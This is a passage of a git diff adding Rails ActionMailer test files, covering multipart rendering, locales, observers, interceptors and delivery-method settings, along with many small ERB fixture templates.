+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("TEXT Implicit Multipart", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("HTML Implicit Multipart", email.parts[1].body.encoded)
+ end
+
+ test "implicit multipart with sort order" do
+ order = ["text/html", "text/plain"]
+ with_default BaseMailer, parts_order: order do
+ email = BaseMailer.implicit_multipart
+ assert_equal("text/html", email.parts[0].mime_type)
+ assert_equal("text/plain", email.parts[1].mime_type)
+
+ email = BaseMailer.implicit_multipart(parts_order: order.reverse)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("text/html", email.parts[1].mime_type)
+ end
+ end
+
+ test "implicit multipart with attachments creates nested parts" do
+ email = BaseMailer.implicit_multipart(attachments: true)
+ assert_equal("application/pdf", email.parts[0].mime_type)
+ assert_equal("multipart/alternative", email.parts[1].mime_type)
+ assert_equal("text/plain", email.parts[1].parts[0].mime_type)
+ assert_equal("TEXT Implicit Multipart", email.parts[1].parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].parts[1].mime_type)
+ assert_equal("HTML Implicit Multipart", email.parts[1].parts[1].body.encoded)
+ end
+
+ test "implicit multipart with attachments and sort order" do
+ order = ["text/html", "text/plain"]
+ with_default BaseMailer, parts_order: order do
+ email = BaseMailer.implicit_multipart(attachments: true)
+ assert_equal("application/pdf", email.parts[0].mime_type)
+ assert_equal("multipart/alternative", email.parts[1].mime_type)
+ assert_equal("text/plain", email.parts[1].parts[1].mime_type)
+ assert_equal("text/html", email.parts[1].parts[0].mime_type)
+ end
+ end
+
+ test "implicit multipart with default locale" do
+ email = BaseMailer.implicit_with_locale
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("Implicit with locale TEXT", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("Implicit with locale EN HTML", email.parts[1].body.encoded)
+ end
+
+ test "implicit multipart with other locale" do
+ swap I18n, locale: :pl do
+ email = BaseMailer.implicit_with_locale
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("Implicit with locale PL TEXT", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("Implicit with locale HTML", email.parts[1].body.encoded)
+ end
+ end
+
+ test "implicit multipart with several view paths uses the first one with template" do
+ old = BaseMailer.view_paths
+ begin
+ BaseMailer.view_paths = [File.join(FIXTURE_LOAD_PATH, "another.path")] + old.dup
+ email = BaseMailer.welcome
+ assert_equal("Welcome from another path", email.body.encoded)
+ ensure
+ BaseMailer.view_paths = old
+ end
+ end
+
+ test "implicit multipart with inexistent templates uses the next view path" do
+ old = BaseMailer.view_paths
+ begin
+ BaseMailer.view_paths = [File.join(FIXTURE_LOAD_PATH, "unknown")] + old.dup
+ email = BaseMailer.welcome
+ assert_equal("Welcome", email.body.encoded)
+ ensure
+ BaseMailer.view_paths = old
+ end
+ end
+
+ # Explicit multipart
+ test "explicit multipart" do
+ email = BaseMailer.explicit_multipart
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("TEXT Explicit Multipart", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("HTML Explicit Multipart", email.parts[1].body.encoded)
+ end
+
+ test "explicit multipart have a boundary" do
+ mail = BaseMailer.explicit_multipart
+ assert_not_nil(mail.content_type_parameters[:boundary])
+ end
+
+ test "explicit multipart with attachments creates nested parts" do
+ email = BaseMailer.explicit_multipart(attachments: true)
+ assert_equal("application/pdf", email.parts[0].mime_type)
+ assert_equal("multipart/alternative", email.parts[1].mime_type)
+ assert_equal("text/plain", email.parts[1].parts[0].mime_type)
+ assert_equal("TEXT Explicit Multipart", email.parts[1].parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].parts[1].mime_type)
+ assert_equal("HTML Explicit Multipart", email.parts[1].parts[1].body.encoded)
+ end
+
+ test "explicit multipart with templates" do
+ email = BaseMailer.explicit_multipart_templates
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("TEXT Explicit Multipart Templates", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("HTML Explicit Multipart Templates", email.parts[1].body.encoded)
+ end
+
+ test "explicit multipart with format.any" do
+ email = BaseMailer.explicit_multipart_with_any
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("Format with any!", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("Format with any!", email.parts[1].body.encoded)
+ end
+
+ test "explicit multipart with format(Hash)" do
+ email = BaseMailer.explicit_multipart_with_options(true)
+ email.ready_to_send!
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("base64", email.parts[0].content_transfer_encoding)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("7bit", email.parts[1].content_transfer_encoding)
+ end
+
+ test "explicit multipart with one part is rendered as body and options are merged" do
+ email = BaseMailer.explicit_multipart_with_options
+ assert_equal(0, email.parts.size)
+ assert_equal("text/plain", email.mime_type)
+ assert_equal("base64", email.content_transfer_encoding)
+ end
+
+ test "explicit multipart with one template has the expected format" do
+ email = BaseMailer.explicit_multipart_with_one_template
+ assert_equal(2, email.parts.size)
+ assert_equal("multipart/alternative", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("[:text]", email.parts[0].body.encoded)
+ assert_equal("text/html", email.parts[1].mime_type)
+ assert_equal("[:html]", email.parts[1].body.encoded)
+ end
+
+ test "explicit multipart with sort order" do
+ order = ["text/html", "text/plain"]
+ with_default BaseMailer, parts_order: order do
+ email = BaseMailer.explicit_multipart
+ assert_equal("text/html", email.parts[0].mime_type)
+ assert_equal("text/plain", email.parts[1].mime_type)
+
+ email = BaseMailer.explicit_multipart(parts_order: order.reverse)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("text/html", email.parts[1].mime_type)
+ end
+ end
+
+ # Class level API with method missing
+ test "should respond to action methods" do
+ assert_respond_to BaseMailer, :welcome
+ assert_respond_to BaseMailer, :implicit_multipart
+ assert !BaseMailer.respond_to?(:mail)
+ assert !BaseMailer.respond_to?(:headers)
+ end
+
+ test "calling just the action should return the generated mail object" do
+ BaseMailer.deliveries.clear
+ email = BaseMailer.welcome
+ assert_equal(0, BaseMailer.deliveries.length)
+ assert_equal('The first email on new API!', email.subject)
+ end
+
+ test "calling deliver on the action should deliver the mail object" do
+ BaseMailer.deliveries.clear
+ BaseMailer.expects(:deliver_mail).once
+ mail = BaseMailer.welcome.deliver
+ assert_equal 'The first email on new API!', mail.subject
+ end
+
+ test "calling deliver on the action should increment the deliveries collection if using the test mailer" do
+ BaseMailer.delivery_method = :test
+ BaseMailer.deliveries.clear
+ BaseMailer.welcome.deliver
+ assert_equal(1, BaseMailer.deliveries.length)
+ end
+
+ test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do
+ mail = Mail::Message.new
+ mail.expects(:do_delivery).once
+ BaseMailer.expects(:welcome).returns(mail)
+ BaseMailer.welcome.deliver
+ end
+
+ # Rendering
+ test "you can specify a different template for implicit render" do
+ mail = BaseMailer.implicit_different_template('implicit_multipart').deliver
+ assert_equal("HTML Implicit Multipart", mail.html_part.body.decoded)
+ assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
+ end
+
+ test "should raise if missing template in implicit render" do
+ BaseMailer.deliveries.clear
+ assert_raises ActionView::MissingTemplate do
+ BaseMailer.implicit_different_template('missing_template').deliver
+ end
+ assert_equal(0, BaseMailer.deliveries.length)
+ end
+
+ test "you can specify a different template for explicit render" do
+ mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver
+ assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
+ assert_equal("TEXT Explicit Multipart Templates", mail.text_part.body.decoded)
+ end
+
+ test "you can specify a different layout" do
+ mail = BaseMailer.different_layout('different_layout').deliver
+ assert_equal("HTML -- HTML", mail.html_part.body.decoded)
+ assert_equal("PLAIN -- PLAIN", mail.text_part.body.decoded)
+ end
+
+ test "you can specify the template path for implicit lookup" do
+ mail = BaseMailer.welcome_from_another_path('another.path/base_mailer').deliver
+ assert_equal("Welcome from another path", mail.body.encoded)
+
+ mail = BaseMailer.welcome_from_another_path(['unknown/invalid', 'another.path/base_mailer']).deliver
+ assert_equal("Welcome from another path", mail.body.encoded)
+ end
+
+ test "assets tags should use ActionMailer's asset_host settings" do
+ ActionMailer::Base.config.asset_host = "http://global.com"
+ ActionMailer::Base.config.assets_dir = "global/"
+
+ mail = AssetMailer.welcome
+
+ assert_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
+ end
+
+ test "assets tags should use a Mailer's asset_host settings when available" do
+ begin
+ ActionMailer::Base.config.asset_host = "http://global.com"
+ ActionMailer::Base.config.assets_dir = "global/"
+
+ AssetMailer.asset_host = "http://local.com"
+
+ mail = AssetMailer.welcome
+
+ assert_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
+ ensure
+ AssetMailer.asset_host = ActionMailer::Base.config.asset_host
+ end
+ end
+
+ test 'the view is not rendered when mail was never called' do
+ mail = BaseMailer.without_mail_call
+ assert_equal('', mail.body.to_s.strip)
+ mail.deliver
+ end
+
+ test 'the return value of mailer methods is not relevant' do
+ mail = BaseMailer.with_nil_as_return_value
+ assert_equal('Welcome', mail.body.to_s.strip)
+ mail.deliver
+ end
+
+ # Before and After hooks
+
+ class MyObserver
+ def self.delivered_email(mail)
+ end
+ end
+
+ class MySecondObserver
+ def self.delivered_email(mail)
+ end
+ end
+
+ test "you can register an observer to the mail object that gets informed on email delivery" do
+ ActionMailer::Base.register_observer(MyObserver)
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver
+ end
+
+ test "you can register an observer using its stringified name to the mail object that gets informed on email delivery" do
+ ActionMailer::Base.register_observer("BaseTest::MyObserver")
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver
+ end
+
+ test "you can register multiple observers to the mail object that both get informed on email delivery" do
+ ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ MySecondObserver.expects(:delivered_email).with(mail)
+ mail.deliver
+ end
+
+ class MyInterceptor
+ def self.delivering_email(mail)
+ end
+ end
+
+ class MySecondInterceptor
+ def self.delivering_email(mail)
+ end
+ end
+
+ test "you can register an interceptor to the mail object that gets passed the mail object before delivery" do
+ ActionMailer::Base.register_interceptor(MyInterceptor)
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver
+ end
+
+ test "you can register an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
+ ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver
+ end
+
+ test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
+ ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ MySecondInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver
+ end
+
+ test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
+ mail1 = ProcMailer.welcome['X-Proc-Method']
+ yesterday = 1.day.ago
+ Time.stubs(:now).returns(yesterday)
+ mail2 = ProcMailer.welcome['X-Proc-Method']
+ assert(mail1.to_s.to_i > mail2.to_s.to_i)
+ end
+
+ test "we can call other defined methods on the class as needed" do
+ mail = ProcMailer.welcome
+ assert_equal("Thanks for signing up this afternoon", mail.subject)
+ end
+
+ test "modifying the mail message with a before_action" do
+ class BeforeActionMailer < ActionMailer::Base
+ before_action :add_special_header!
+
+ def welcome ; mail ; end
+
+ private
+ def add_special_header!
+ headers('X-Special-Header' => 'Wow, so special')
+ end
+ end
+
+ assert_equal('Wow, so special', BeforeActionMailer.welcome['X-Special-Header'].to_s)
+ end
+
+ test "modifying the mail message with an after_action" do
+ class AfterActionMailer < ActionMailer::Base
+ after_action :add_special_header!
+
+ def welcome ; mail ; end
+
+ private
+ def add_special_header!
+ headers('X-Special-Header' => 'Testing')
+ end
+ end
+
+ assert_equal('Testing', AfterActionMailer.welcome['X-Special-Header'].to_s)
+ end
+
+ test "adding an inline attachment using a before_action" do
+ class DefaultInlineAttachmentMailer < ActionMailer::Base
+ before_action :add_inline_attachment!
+
+ def welcome ; mail ; end
+
+ private
+ def add_inline_attachment!
+ attachments.inline["footer.jpg"] = 'hey there'
+ end
+ end
+
+ mail = DefaultInlineAttachmentMailer.welcome
+ assert_equal('image/jpeg; filename=footer.jpg', mail.attachments.inline.first['Content-Type'].to_s)
+ end
+
+ test "action methods should be refreshed after defining new method" do
+ class FooMailer < ActionMailer::Base
+ # this triggers action_methods
+ self.respond_to?(:foo)
+
+ def notify
+ end
+ end
+
+ assert_equal Set.new(["notify"]), FooMailer.action_methods
+ end
+
+ test "mailer can be anonymous" do
+ mailer = Class.new(ActionMailer::Base) do
+ def welcome
+ mail
+ end
+ end
+
+ assert_equal "anonymous", mailer.mailer_name
+
+ assert_equal "Welcome", mailer.welcome.subject
+ assert_equal "Anonymous mailer body", mailer.welcome.body.encoded.strip
+ end
+
+ test "default_from can be set" do
+ class DefaultFromMailer < ActionMailer::Base
+ default to: 'system at test.lindsaar.net'
+ self.default_options = {from: "robert.pankowecki at gmail.com"}
+
+ def welcome
+ mail(subject: "subject", body: "hello world")
+ end
+ end
+
+ assert_equal ["robert.pankowecki at gmail.com"], DefaultFromMailer.welcome.from
+ end
+
+ protected
+
+ # Execute the block setting the given values and restoring old values after
+ # the block is executed.
+ def swap(klass, new_values)
+ old_values = {}
+ new_values.each do |key, value|
+ old_values[key] = klass.send key
+ klass.send :"#{key}=", value
+ end
+ yield
+ ensure
+ old_values.each do |key, value|
+ klass.send :"#{key}=", value
+ end
+ end
+
+ def with_default(klass, new_values)
+ old = klass.default_params
+ klass.default(new_values)
+ yield
+ ensure
+ klass.default_params = old
+ end
+end
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
new file mode 100644
index 0000000..61a037e
--- /dev/null
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -0,0 +1,211 @@
+require 'abstract_unit'
+require 'mail'
+
+class MyCustomDelivery
+end
+
+class MyOptionedDelivery
+ attr_reader :options
+ def initialize(options)
+ @options = options
+ end
+end
+
+class BogusDelivery
+ def initialize(*)
+ end
+
+ def deliver!(mail)
+ raise "failed"
+ end
+end
+
+class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
+ test "default smtp settings" do
+ settings = { address: "localhost",
+ port: 25,
+ domain: 'localhost.localdomain',
+ user_name: nil,
+ password: nil,
+ authentication: nil,
+ enable_starttls_auto: true }
+ assert_equal settings, ActionMailer::Base.smtp_settings
+ end
+
+ test "default file delivery settings" do
+ settings = {location: "#{Dir.tmpdir}/mails"}
+ assert_equal settings, ActionMailer::Base.file_settings
+ end
+
+ test "default sendmail settings" do
+ settings = {location: '/usr/sbin/sendmail',
+ arguments: '-i -t'}
+ assert_equal settings, ActionMailer::Base.sendmail_settings
+ end
+end
+
+class CustomDeliveryMethodsTest < ActiveSupport::TestCase
+ def setup
+ @old_delivery_method = ActionMailer::Base.delivery_method
+ ActionMailer::Base.add_delivery_method :custom, MyCustomDelivery
+ end
+
+ def teardown
+ ActionMailer::Base.delivery_method = @old_delivery_method
+ new = ActionMailer::Base.delivery_methods.dup
+ new.delete(:custom)
+ ActionMailer::Base.delivery_methods = new
+ end
+
+ test "allow to add custom delivery method" do
+ ActionMailer::Base.delivery_method = :custom
+ assert_equal :custom, ActionMailer::Base.delivery_method
+ end
+
+ test "allow to customize custom settings" do
+ ActionMailer::Base.custom_settings = { foo: :bar }
+ assert_equal Hash[foo: :bar], ActionMailer::Base.custom_settings
+ end
+
+ test "respond to custom settings" do
+ assert_respond_to ActionMailer::Base, :custom_settings
+ assert_respond_to ActionMailer::Base, :custom_settings=
+ end
+
+ test "does not respond to unknown settings" do
+ assert_raise NoMethodError do
+ ActionMailer::Base.another_settings
+ end
+ end
+end
+
+class MailDeliveryTest < ActiveSupport::TestCase
+ class DeliveryMailer < ActionMailer::Base
+ DEFAULT_HEADERS = {
+ to: 'mikel at test.lindsaar.net',
+ from: 'jose at test.plataformatec.com'
+ }
+
+ def welcome(hash={})
+ mail(DEFAULT_HEADERS.merge(hash))
+ end
+ end
+
+ def setup
+ ActionMailer::Base.delivery_method = :smtp
+ end
+
+ def teardown
+ DeliveryMailer.delivery_method = :smtp
+ DeliveryMailer.perform_deliveries = true
+ DeliveryMailer.raise_delivery_errors = true
+ end
+
+ test "ActionMailer should be told when Mail gets delivered" do
+ DeliveryMailer.deliveries.clear
+ DeliveryMailer.expects(:deliver_mail).once
+ DeliveryMailer.welcome.deliver
+ end
+
+ test "delivery method can be customized per instance" do
+ email = DeliveryMailer.welcome.deliver
+ assert_instance_of Mail::SMTP, email.delivery_method
+ email = DeliveryMailer.welcome(delivery_method: :test).deliver
+ assert_instance_of Mail::TestMailer, email.delivery_method
+ end
+
+ test "delivery method can be customized in subclasses not changing the parent" do
+ DeliveryMailer.delivery_method = :test
+ assert_equal :smtp, ActionMailer::Base.delivery_method
+ $BREAK = true
+ email = DeliveryMailer.welcome.deliver
+ assert_instance_of Mail::TestMailer, email.delivery_method
+ end
+
+ test "delivery method options default to class level options" do
+ default_options = {a: "b"}
+ ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+ mail_instance = DeliveryMailer.welcome(delivery_method: :optioned)
+ assert_equal default_options, mail_instance.delivery_method.options
+ end
+
+ test "delivery method options can be overridden per mail instance" do
+ default_options = {a: "b"}
+ ActionMailer::Base.add_delivery_method :optioned, MyOptionedDelivery, default_options
+ overridden_options = {a: "a"}
+ mail_instance = DeliveryMailer.welcome(delivery_method: :optioned, delivery_method_options: overridden_options)
+ assert_equal overridden_options, mail_instance.delivery_method.options
+ end
+
+ test "default delivery options can be overridden per mail instance" do
+ settings = { address: "localhost",
+ port: 25,
+ domain: 'localhost.localdomain',
+ user_name: nil,
+ password: nil,
+ authentication: nil,
+ enable_starttls_auto: true }
+ assert_equal settings, ActionMailer::Base.smtp_settings
+ overridden_options = {user_name: "overridden", password: "somethingobtuse"}
+ mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
+ delivery_method_instance = mail_instance.delivery_method
+ assert_equal "overridden", delivery_method_instance.settings[:user_name]
+ assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
+ assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+ end
+
+ test "non registered delivery methods raises errors" do
+ DeliveryMailer.delivery_method = :unknown
+ assert_raise RuntimeError do
+ DeliveryMailer.welcome.deliver
+ end
+ end
+
+ test "does not perform deliveries if requested" do
+ DeliveryMailer.perform_deliveries = false
+ DeliveryMailer.deliveries.clear
+ Mail::Message.any_instance.expects(:deliver!).never
+ DeliveryMailer.welcome.deliver
+ end
+
+ test "does not append the deliveries collection if told not to perform the delivery" do
+ DeliveryMailer.perform_deliveries = false
+ DeliveryMailer.deliveries.clear
+ DeliveryMailer.welcome.deliver
+ assert_equal(0, DeliveryMailer.deliveries.length)
+ end
+
+ test "raise errors on bogus deliveries" do
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.deliveries.clear
+ assert_raise RuntimeError do
+ DeliveryMailer.welcome.deliver
+ end
+ end
+
+ test "does not increment the deliveries collection on error" do
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.deliveries.clear
+ assert_raise RuntimeError do
+ DeliveryMailer.welcome.deliver
+ end
+ assert_equal(0, DeliveryMailer.deliveries.length)
+ end
+
+ test "does not raise errors on bogus deliveries if set" do
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.raise_delivery_errors = false
+ assert_nothing_raised do
+ DeliveryMailer.welcome.deliver
+ end
+ end
+
+ test "does not increment the deliveries collection on bogus deliveries" do
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.raise_delivery_errors = false
+ DeliveryMailer.deliveries.clear
+ DeliveryMailer.welcome.deliver
+ assert_equal(0, DeliveryMailer.deliveries.length)
+ end
+
+end
diff --git a/actionmailer/test/fixtures/anonymous/welcome.erb b/actionmailer/test/fixtures/anonymous/welcome.erb
new file mode 100644
index 0000000..8361da6
--- /dev/null
+++ b/actionmailer/test/fixtures/anonymous/welcome.erb
@@ -0,0 +1 @@
+Anonymous mailer body
diff --git a/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb b/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb
new file mode 100644
index 0000000..ef45129
--- /dev/null
+++ b/actionmailer/test/fixtures/another.path/base_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome from another path
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb b/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
new file mode 100644
index 0000000..b3f0438
--- /dev/null
+++ b/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
@@ -0,0 +1 @@
+<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/asset_mailer/welcome.html.erb b/actionmailer/test/fixtures/asset_mailer/welcome.html.erb
new file mode 100644
index 0000000..90d2613
--- /dev/null
+++ b/actionmailer/test/fixtures/asset_mailer/welcome.html.erb
@@ -0,0 +1 @@
+<%= image_tag "dummy.png" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/async_mailer/welcome.erb b/actionmailer/test/fixtures/async_mailer/welcome.erb
new file mode 100644
index 0000000..01f3f00
--- /dev/null
+++ b/actionmailer/test/fixtures/async_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/attachments/foo.jpg b/actionmailer/test/fixtures/attachments/foo.jpg
new file mode 100644
index 0000000..b976fe5
Binary files /dev/null and b/actionmailer/test/fixtures/attachments/foo.jpg differ
diff --git a/actionmailer/test/fixtures/attachments/test.jpg b/actionmailer/test/fixtures/attachments/test.jpg
new file mode 100644
index 0000000..b976fe5
Binary files /dev/null and b/actionmailer/test/fixtures/attachments/test.jpg differ
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb b/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
new file mode 100644
index 0000000..5495078
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
@@ -0,0 +1 @@
+Inside
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb b/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb
new file mode 100644
index 0000000..6d73f19
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/multipart.html.erb
@@ -0,0 +1 @@
+text/html multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb b/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb
new file mode 100644
index 0000000..f4b91e4
--- /dev/null
+++ b/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.erb
@@ -0,0 +1 @@
+text/plain multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb b/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb
new file mode 100644
index 0000000..deb9dbd
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_content.erb
@@ -0,0 +1 @@
+Attachment with content
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb b/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb b/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionmailer/test/fixtures/base_mailer/different_layout.html.erb b/actionmailer/test/fixtures/base_mailer/different_layout.html.erb
new file mode 100644
index 0000000..3225efc
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/different_layout.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/different_layout.text.erb b/actionmailer/test/fixtures/base_mailer/different_layout.text.erb
new file mode 100644
index 0000000..b547f4a
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/different_layout.text.erb
@@ -0,0 +1 @@
+PLAIN
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/email_custom_layout.text.html.erb b/actionmailer/test/fixtures/base_mailer/email_custom_layout.text.html.erb
new file mode 100644
index 0000000..a218730
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/email_custom_layout.text.html.erb
@@ -0,0 +1 @@
+body_text
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
new file mode 100644
index 0000000..30466dd
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -0,0 +1 @@
+<%= t('.greet_user', :name => 'lifo') %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb
new file mode 100644
index 0000000..c0a61b6
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.html.erb
@@ -0,0 +1 @@
+HTML Explicit Multipart Templates
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb
new file mode 100644
index 0000000..507230b
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_templates.text.erb
@@ -0,0 +1 @@
+TEXT Explicit Multipart Templates
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb b/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb
new file mode 100644
index 0000000..8a69657
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/explicit_multipart_with_one_template.erb
@@ -0,0 +1 @@
+<%= self.formats.inspect %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/html_only.html.erb b/actionmailer/test/fixtures/base_mailer/html_only.html.erb
new file mode 100644
index 0000000..9c99a00
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/html_only.html.erb
@@ -0,0 +1 @@
+<h1>Testing</h1>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb
new file mode 100644
index 0000000..23745cd
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart.html.erb
@@ -0,0 +1 @@
+HTML Implicit Multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb
new file mode 100644
index 0000000..d51437f
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart.text.erb
@@ -0,0 +1 @@
+TEXT Implicit Multipart
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb
new file mode 100644
index 0000000..34e39c8
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb
@@ -0,0 +1 @@
+Implicit with locale EN HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb
new file mode 100644
index 0000000..5ce283f
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.html.erb
@@ -0,0 +1 @@
+Implicit with locale HTML
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb
new file mode 100644
index 0000000..c49cbae
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.pl.text.erb
@@ -0,0 +1 @@
+Implicit with locale PL TEXT
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb
new file mode 100644
index 0000000..5a18ff6
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_with_locale.text.erb
@@ -0,0 +1 @@
+Implicit with locale TEXT
\ No newline at end of file
